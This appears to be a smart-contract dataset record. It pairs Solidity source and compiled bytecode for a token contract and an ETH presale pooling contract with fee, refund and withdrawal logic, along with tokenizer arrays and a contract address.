allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function burn(address _owner, uint _amount) onlyController { balanceOf[_owner] = safeSub(balanceOf[_owner], _amount); totalSupply = safeSub(totalSupply, _amount); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166306fdde03811461014a578063095ea7b3146101d457806318160ddd1461020a57806323b872dd1461022f578063313ce567146102575780633f4ba83a1461028057806342966c68146102955780634bb278f3146102ab5780635aab4ac8146102be5780635c975abb146102d15780635fe59b9d146102e4578063661884631461033557806369ffa08a1461035757806370a082311461037c57806379ba50971461039b5780638456cb59146103ae5780638da5cb5b146103c15780638e339b66146103f057806392eefe9b1461041857806395d89b41146104375780639b5043871461044a578063a6f9dae114610472578063a9059cbb14610491578063b3f05b97146104b3578063d73dd623146104c6578063dd62ed3e146104e8578063f77c47911461050d575b600080fd5b341561015557600080fd5b61015d610520565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610199578082015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101df57600080fd5b6101f6600160a060020a0360043516602435610557565b604051901515815260200160405180910390f35b341561021557600080fd5b61021d610658565b60405190815260200160405180910390f35b341561023a57600080fd5b6101f6600160a060020a03600435811690602435166044356106b6565b341561026257600080fd5b61026a6107ad565b60405160ff909116815260200160405180910390f35b341561028b57600080fd5b6102936107b2565b005b34156102a057600080fd5b6102936004356107ee565b34156102b657600080fd5b61029361089b565b34156102c957600080fd5b61015d6108ed565b34156102dc57600080fd5b6101f661098b565b34156102ef57600080fd5b61029360046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061099b95505050505050565b341561034057600080fd5b6101f6600160a060020a0360043516602435610a65565b341561036257600080fd5b6101f6600160a060020a0360043581169060243516610bd9565b341561038757600080fd5b61021d600160a060020a0360043516610cc6565b34156103a657600080fd5b610293610d35565b34156103b957600080fd5b610293610d7e565b34156103cc57600080fd5b6103d4610dc0565b604051600160a060020a03909116815260200160405180910390f35b34156103fb57600080fd5b610293600160a060020a0360043581169060243516604435610dcf565b341561042357600080fd5b610293600160a060020a0360043516610e33565b341561044257600080fd5b61015d610ea5565b341561045557600080fd5b610293600160a060020a0360043581169060243516604435610edc565b341561047d57600080fd5b610293600160a060020a0360043516610f2e565b341561049c57600080fd5b6101f6600160a060020a0360043516602435610f78565b34156104be57600080fd5b6101f661105b565b34156104d157600080fd5b6101f6600160a060020a036004351660243561107c565b34156104f357600080fd5b61021d600160a060020a0360043581169060243516611106565b341561051857600080fd5b6103d461117e565b60408051908101604052600c81527f52696768747320546f6b656e0000000000000000000000000000000000000000602082015281565b60006002604436101561056657fe5b60015460a860020a900460ff161561057d57600080fd5b600254600160a060020a031663e1f21c6733868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156105e057600080fd5b5af115156105ed57600080fd5b505050604051805190501561064c5783600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405190815260200160405180910390a360019150610651565b600091505b5092915050565b600254600090600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561069a57600080fd5b5af115156106a757600080fd5b50505060405180519150505b90565b6000600360643610156106c557fe5b60015460a860020a900460ff16156106dc57600080fd5b600254600160a060020a03166315dacbea3387878760405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561074657600080fd5b5af1151561075357600080fd5b50505060405180519050156107a05783600160a060020a031685600160a060020a03166000805160206112268339815191528560405190815260200160405180910390a3600191506107a5565b600091505b509392505050565b600881565b60005433600160a060020a039081169116146107cd57600080fd5b6001805475ff00000000000000000000000000000000000000000019169055565b60015460a860020a900460ff161561080557600080fd5b600254600160a060020a0316639dc29fac338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561085b57600080fd5b5af1151561086857600080fd5b505050600033600160a060020a03166000805160206112268339815191528360405190815260200160405180910390a350565b60005433600160a060020a039081169116146108b657600080fd5b6001805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109835780601f1061095857610100808354040283529160200191610983565b820191906000526020600020905b81548152906001019060200180831161096657829003601f168201915b505050505081565b60015460a860020a900460ff1681565b60005433600160a060020a039081169116146109b657600080fd5b60038180516109c992916020019061118d565b507f6e7666d68b6b7c619b2fe5a2c3dd0564bf3e02b0508b217d7a28ce5805583eab8160405160208082528190810183818151815260200191508051906020019080838360005b83811015610a28578082015183820152602001610a10565b50505050905090810190601f168015610a555780820380516001836020036101000a031916815260200191505b509250505060405180910390a150565b60008060026044361015610a7557fe5b60015460a860020a900460ff1615610a8c57600080fd5b600254600160a060020a031663f019c26733878760405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610aef57600080fd5b5af11515610afc57600080fd5b5050506040518051905015610bcc57600254600160a060020a031663dd62ed3e338760405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b1515610b6357600080fd5b5af11515610b7057600080fd5b50505060405180519050915084600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405190815260200160405180910390a360019250610bd1565b600092505b505092915050565b60008054819033600160a060020a03908116911614610bf757600080fd5b5082600160a060020a03811663a9059cbb84826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c4e57600080fd5b5af11515610c5b57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ca857600080fd5b5af11515610cb557600080fd5b505050604051805195945050505050565b600254600090600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610d1957600080fd5b5af11515610d2657600080fd5b50505060405180519392505050565b60015433600160a060020a0390811691161415610d7c576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b60005433600160a060020a03908116911614610d9957600080fd5b6001805475ff000000000000000000000000000000000000000000191660a860020a179055565b600054600160a060020a031681565b60025433600160a060020a03908116911614610de757fe5b81600160a060020a031683600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610e4e57600080fd5b60015474010000000000000000000000000000000000000000900460ff1615610e7657600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f52544b0000000000000000000000000000000000000000000000000000000000602082015281565b60025433600160a060020a03908116911614610ef457fe5b81600160a060020a031683600160a060020a03166000805160206112268339815191528360405190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610f4957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060026044361015610f8757fe5b60015460a860020a900460ff1615610f9e57600080fd5b600254600160a060020a031663beabacc833868660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561100157600080fd5b5af1151561100e57600080fd5b505050604051805190501561064c5783600160a060020a031633600160a060020a03166000805160206112268339815191528560405190815260200160405180910390a360019150610651565b60015474010000000000000000000000000000000000000000900460ff1681565b6000806002604436101561108c57fe5b60015460a860020a900460ff16156110a357600080fd5b600254600160a060020a031663bcdd612133878760405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610aef57600080fd5b600254600090600160a060020a031663dd62ed3e848460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561116157600080fd5b5af1151561116e57600080fd5b5050506040518051949350505050565b600254600160a060020a031681565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111ce57805160ff19168380011785556111fb565b828001600101855582156111fb579182015b828111156111fb5782518255916020019190600101906111e0565b5061120792915061120b565b5090565b6106b391905b8082111561120757600081556001016112115600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200695dd9aa2f7581c369ce9d3fab90855e55f1936bf04d083226261fc27cfd6ac0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 22932, 25746, 2487, 2063, 2475, 2063, 2575, 2050, 2692, 2094, 17788, 2546, 2487, 2546, 17914, 22275, 15136, 28311, 2575, 21926, 2692, 2278, 2629, 2278, 2620, 11329, 2620, 2050, 2692, 1013, 1013, 14477, 4779, 3089, 8569, 3064, 3430, 9385, 2047, 2632, 5403, 8029, 3132, 1010, 2418, 1012, 2035, 2916, 9235, 1012, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2184, 1025, 1013, 1013, 2013, 22116, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 12274, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 3647, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,744
0x9744975461cc173e8f1a1164a0914dd5c28bac03
//author : dm & w pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function transfer(address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public constant returns (uint256 balance); } contract Controller { address public owner; modifier onlyOwner { require(msg.sender == owner); _; } function change_owner(address new_owner) onlyOwner { require(new_owner != 0x0); owner = new_owner; } function Controller() { owner = msg.sender; } } contract Contract is Controller { using SafeMath for uint256; struct Contributor { uint256 balance; uint256 fee_owner; uint256 fee_devs; uint8 rounds; bool whitelisted; } struct Snapshot { uint256 tokens_balance; uint256 eth_balance; } modifier underMaxAmount { require(max_amount == 0 || this.balance <= max_amount); _; } address constant public DEVELOPER1 = 0x8C006d807EBAe91F341a4308132Fd756808e0126; address constant public DEVELOPER2 = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa; uint256 constant public FEE_DEV = 670; uint256 public FEE_OWNER; uint256 public max_amount; uint256 public individual_cap; uint256 public gas_price_max; uint8 public rounds; bool public whitelist_enabled; mapping (address => Contributor) public contributors; Snapshot[] public snapshots; uint256[] public total_fees; uint256 public const_contract_eth_value; uint256 public percent_reduction; address public sale; ERC20 public token; bool public bought_tokens; bool public owner_supplied_eth; bool public allow_contributions = true; bool public allow_refunds; //============================ constructor( uint256 _max_amount, bool _whitelist, uint256 _owner_fee_divisor ) { FEE_OWNER = _owner_fee_divisor; max_amount = calculate_with_fees(_max_amount); whitelist_enabled = _whitelist; Contributor storage contributor = contributors[msg.sender]; contributor.whitelisted = true; total_fees.length = 2; } function buy_the_tokens(bytes _data) onlyOwner { require(!bought_tokens && sale != 0x0); bought_tokens = true; const_contract_eth_value = this.balance; take_fees_eth_dev(); take_fees_eth_owner(); const_contract_eth_value = this.balance; require(sale.call.gas(msg.gas).value(this.balance)(_data)); } function whitelist_addys(address[] _addys, bool _state) onlyOwner { for (uint256 i = 0; i < _addys.length; i++) { Contributor storage contributor = contributors[_addys[i]]; contributor.whitelisted = _state; } } function force_refund(address _addy) onlyOwner { refund(_addy); } function force_partial_refund(address _addy) onlyOwner { partial_refund(_addy); } function set_gas_price_max(uint256 _gas_price) onlyOwner { gas_price_max = _gas_price; } function set_sale_address(address _sale) onlyOwner { require(_sale != 0x0); sale = _sale; } function set_token_address(address _token) onlyOwner { require(_token != 0x0); token = ERC20(_token); } function set_allow_contributions(bool _boolean) onlyOwner { allow_contributions = _boolean; } function set_allow_refunds(bool _boolean) onlyOwner { allow_refunds = _boolean; } function set_tokens_received() onlyOwner { tokens_received(); } function set_percent_reduction(uint256 _reduction) onlyOwner payable { require(bought_tokens && rounds == 0 && _reduction <= 100); percent_reduction = _reduction; if (msg.value > 0) { owner_supplied_eth = true; } const_contract_eth_value = const_contract_eth_value.sub((const_contract_eth_value.mul(_reduction)).div(100)); } function set_whitelist_enabled(bool _boolean) onlyOwner { whitelist_enabled = _boolean; } function change_individual_cap(uint256 _cap) onlyOwner { individual_cap = _cap; } function change_max_amount(uint256 _amount) onlyOwner { //ATTENTION! The new amount should be in wei //Use https://etherconverter.online/ max_amount = calculate_with_fees(_amount); } function change_fee(uint256 _fee) onlyOwner { FEE_OWNER = _fee; } function emergency_token_withdraw(address _address) onlyOwner { ERC20 temp_token = ERC20(_address); require(temp_token.transfer(msg.sender, temp_token.balanceOf(this))); } function emergency_eth_withdraw() onlyOwner { msg.sender.transfer(this.balance); } function withdraw(address _user) internal { require(bought_tokens); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); Contributor storage contributor = contributors[_user]; if (contributor.rounds < rounds) { Snapshot storage snapshot = snapshots[contributor.rounds]; uint256 tokens_to_withdraw = contributor.balance.mul(snapshot.tokens_balance).div(snapshot.eth_balance); snapshot.tokens_balance = snapshot.tokens_balance.sub(tokens_to_withdraw); snapshot.eth_balance = snapshot.eth_balance.sub(contributor.balance); contributor.rounds++; require(token.transfer(_user, tokens_to_withdraw)); } } function refund(address _user) internal { require(!bought_tokens && allow_refunds && percent_reduction == 0); Contributor storage contributor = contributors[_user]; total_fees[0] -= contributor.fee_owner; total_fees[1] -= contributor.fee_devs; uint256 eth_to_withdraw = contributor.balance.add(contributor.fee_owner).add(contributor.fee_devs); contributor.balance = 0; contributor.fee_owner = 0; contributor.fee_devs = 0; _user.transfer(eth_to_withdraw); } function partial_refund(address _user) internal { require(bought_tokens && allow_refunds && rounds == 0 && percent_reduction > 0); Contributor storage contributor = contributors[_user]; require(contributor.rounds == 0); uint256 eth_to_withdraw = contributor.balance.mul(percent_reduction).div(100); contributor.balance = contributor.balance.sub(eth_to_withdraw); if (owner_supplied_eth) { uint256 fee = contributor.fee_owner.mul(percent_reduction).div(100); eth_to_withdraw = eth_to_withdraw.add(fee); } _user.transfer(eth_to_withdraw); } function take_fees_eth_dev() internal { if (FEE_DEV != 0) { DEVELOPER1.transfer(total_fees[1]); DEVELOPER2.transfer(total_fees[1]); } } function take_fees_eth_owner() internal { if (FEE_OWNER != 0) { owner.transfer(total_fees[0]); } } function calculate_with_fees(uint256 _amount) internal returns (uint256) { uint256 temp = _amount; if (FEE_DEV != 0) { temp = temp.add(_amount.div(FEE_DEV/2)); } if (FEE_OWNER != 0) { temp = temp.add(_amount.div(FEE_OWNER)); } return temp; } function tokens_received() internal { uint256 previous_balance; for (uint8 i = 0; i < snapshots.length; i++) { previous_balance = previous_balance.add(snapshots[i].tokens_balance); } snapshots.push(Snapshot(token.balanceOf(address(this)).sub(previous_balance), const_contract_eth_value)); rounds++; } function tokenFallback(address _from, uint _value, bytes _data) { if (ERC20(msg.sender) == token) { tokens_received(); } } function withdraw_my_tokens() { for (uint8 i = contributors[msg.sender].rounds; i < rounds; i++) { withdraw(msg.sender); } } function withdraw_tokens_for(address _addy) { for (uint8 i = contributors[_addy].rounds; i < rounds; i++) { withdraw(_addy); } } function refund_my_ether() { refund(msg.sender); } function partial_refund_my_ether() { partial_refund(msg.sender); } function provide_eth() payable {} function () payable underMaxAmount { require(!bought_tokens && allow_contributions && (gas_price_max == 0 || tx.gasprice <= gas_price_max)); Contributor storage contributor = contributors[msg.sender]; if (whitelist_enabled) { require(contributor.whitelisted); } uint256 fee = 0; if (FEE_OWNER != 0) { fee = SafeMath.div(msg.value, FEE_OWNER); contributor.fee_owner += fee; total_fees[0] += fee; } uint256 fees = fee; if (FEE_DEV != 0) { fee = msg.value.div(FEE_DEV); total_fees[1] += fee; contributor.fee_devs += fee*2; fees = fees.add(fee*2); } contributor.balance = contributor.balance.add(msg.value.sub(fees)); require(individual_cap == 0 || contributor.balance <= individual_cap); } }
0x608060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303b918dc1461044e57806310d2f2e51461047d578063111485ef146104ac578063157f67e8146104d757806318af7021146104ee5780631a34fe81146105315780631f6d49421461055c578063223db315146105d9578063253c8bd41461060857806329d98a7b1461064b578063398f2648146106785780633c4293d8146106a557806342263aa2146106bc57806348103077146106ff57806349edfb94146107165780635219ffb81461074157806356813535146107845780635a8830e2146107af57806360e393c6146107c65780636360fc3f1461081d578063666375e51461084c578063678f70331461087b578063687ab3811461089b5780636954abee146108de5780636ad1fe021461090d5780636ceba55e146109645780637036f9d9146109915780637520bf60146109d45780637a87f51a146109ff57806382b2f95f14610a1657806383b47a4d14610a6d5780638611731914610adf5780638a8b7e0214610b485780638da5cb5b14610b775780638f49a26414610bce578063a2e800ad14610bd8578063c0ee0b8a14610c09578063c34dd14114610c9c578063d54839bf14610cc7578063d6565a2d14610cf2578063e70e690a14610d3a578063ebc56eec14610d67578063ef956c4114610d96578063f2bee03d14610dd7578063fc0c546a14610e1a575b600080600080600254148061025357506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561025e57600080fd5b600c60149054906101000a900460ff161580156102875750600c60169054906101000a900460ff165b80156102a25750600060045414806102a157506004543a11155b5b15156102ad57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209250600560019054906101000a900460ff1615610321578260030160019054906101000a900460ff16151561032057600080fd5b5b60009150600060015414151561037a5761033d34600154610e71565b9150818360010160008282540192505081905550816008600081548110151561036257fe5b90600052602060002001600082825401925050819055505b819050600061029e1415156103f65761039e61029e34610e7190919063ffffffff16565b915081600860018154811015156103b157fe5b90600052602060002001600082825401925050819055506002820283600201600082825401925050819055506103f36002830282610e8c90919063ffffffff16565b90505b61041f61040c8234610eaa90919063ffffffff16565b8460000154610e8c90919063ffffffff16565b83600001819055506000600354148061043e5750600354836000015411155b151561044957600080fd5b505050005b34801561045a57600080fd5b50610463610ec3565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104aa600480360381019080803515159060200190929190505050610ed6565b005b3480156104b857600080fd5b506104c1610f4e565b6040518082815260200191505060405180910390f35b3480156104e357600080fd5b506104ec610f54565b005b3480156104fa57600080fd5b5061052f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fdf565b005b34801561053d57600080fd5b50610546611046565b6040518082815260200191505060405180910390f35b34801561056857600080fd5b5061059d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104c565b604051808681526020018581526020018481526020018360ff1660ff168152602001821515151581526020019550505050505060405180910390f35b3480156105e557600080fd5b506105ee61109c565b604051808215151515815260200191505060405180910390f35b34801561061457600080fd5b50610649600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110af565b005b34801561065757600080fd5b5061067660048036038101908080359060200190929190505050611173565b005b34801561068457600080fd5b506106a3600480360381019080803590602001909291905050506111d8565b005b3480156106b157600080fd5b506106ba611245565b005b3480156106c857600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611250565b005b34801561070b57600080fd5b50610714611315565b005b34801561072257600080fd5b5061072b61137a565b6040518082815260200191505060405180910390f35b34801561074d57600080fd5b50610782600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611380565b005b34801561079057600080fd5b5061079961140c565b6040518082815260200191505060405180910390f35b3480156107bb57600080fd5b506107c4611412565b005b3480156107d257600080fd5b506107db61141d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082957600080fd5b50610832611435565b604051808215151515815260200191505060405180910390f35b34801561085857600080fd5b50610879600480360381019080803515159060200190929190505050611448565b005b610899600480360381019080803590602001909291905050506114c0565b005b3480156108a757600080fd5b506108dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d2565b005b3480156108ea57600080fd5b506108f36117f4565b604051808215151515815260200191505060405180910390f35b34801561091957600080fd5b50610922611807565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561097057600080fd5b5061098f6004803603810190808035906020019092919050505061182d565b005b34801561099d57600080fd5b506109d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611892565b005b3480156109e057600080fd5b506109e96118f9565b6040518082815260200191505060405180910390f35b348015610a0b57600080fd5b50610a146118ff565b005b348015610a2257600080fd5b50610a2b6119ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7957600080fd5b50610add600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035151590602001909291905050506119d2565b005b348015610aeb57600080fd5b50610b46600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611ac5565b005b348015610b5457600080fd5b50610b5d611cb9565b604051808215151515815260200191505060405180910390f35b348015610b8357600080fd5b50610b8c611ccc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610bd6611cf1565b005b348015610be457600080fd5b50610bed611cf3565b604051808260ff1660ff16815260200191505060405180910390f35b348015610c1557600080fd5b50610c9a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611d06565b005b348015610ca857600080fd5b50610cb1611d6a565b6040518082815260200191505060405180910390f35b348015610cd357600080fd5b50610cdc611d70565b6040518082815260200191505060405180910390f35b348015610cfe57600080fd5b50610d1d60048036038101908080359060200190929190505050611d76565b604051808381526020018281526020019250505060405180910390f35b348015610d4657600080fd5b50610d6560048036038101908080359060200190929190505050611da9565b005b348015610d7357600080fd5b50610d94600480360381019080803515159060200190929190505050611e0e565b005b348015610da257600080fd5b50610dc160048036038101908080359060200190929190505050611e86565b6040518082815260200191505060405180910390f35b348015610de357600080fd5b50610e18600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea9565b005b348015610e2657600080fd5b50610e2f611f6e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610e7f57fe5b0490508091505092915050565b6000808284019050838110151515610ea057fe5b8091505092915050565b6000828211151515610eb857fe5b818303905092915050565b600c60169054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3157600080fd5b80600560016101000a81548160ff02191690831515021790555050565b60035481565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1690505b600560009054906101000a900460ff1660ff168160ff161015610fdc57610fcf33611f94565b8080600101915050610fa9565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103a57600080fd5b6110438161231d565b50565b60025481565b60066020528060005260406000206000915090508060000154908060010154908060020154908060030160009054906101000a900460ff16908060030160019054906101000a900460ff16905085565b600c60179054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110a57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561113057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ce57600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123357600080fd5b61123c81612498565b60028190555050565b61124e3361231d565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ab57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156112d157600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137057600080fd5b61137861251f565b565b60015481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1690505b600560009054906101000a900460ff1660ff168160ff161015611408576113fb82611f94565b80806001019150506113d5565b5050565b60095481565b61141b33612716565b565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b600c60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a357600080fd5b80600c60166101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151b57600080fd5b600c60149054906101000a900460ff16801561154957506000600560009054906101000a900460ff1660ff16145b8015611556575060648111155b151561156157600080fd5b80600a81905550600034111561158d576001600c60156101000a81548160ff0219169083151502179055505b6115c96115b860646115aa846009546128d190919063ffffffff16565b610e7190919063ffffffff16565b600954610eaa90919063ffffffff16565b60098190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162f57600080fd5b8190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156116ea57600080fd5b505af11580156116fe573d6000803e3d6000fd5b505050506040513d602081101561171457600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117aa57600080fd5b505af11580156117be573d6000803e3d6000fd5b505050506040513d60208110156117d457600080fd5b810190808051906020019092919050505015156117f057600080fd5b5050565b600c60159054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188857600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ed57600080fd5b6118f681612716565b50565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156119b7573d6000803e3d6000fd5b50565b738c006d807ebae91f341a4308132fd756808e012681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3057600080fd5b600091505b8351821015611abf57600660008584815181101515611a5057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050828160030160016101000a81548160ff0219169083151502179055508180600101925050611a35565b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2057600080fd5b600c60149054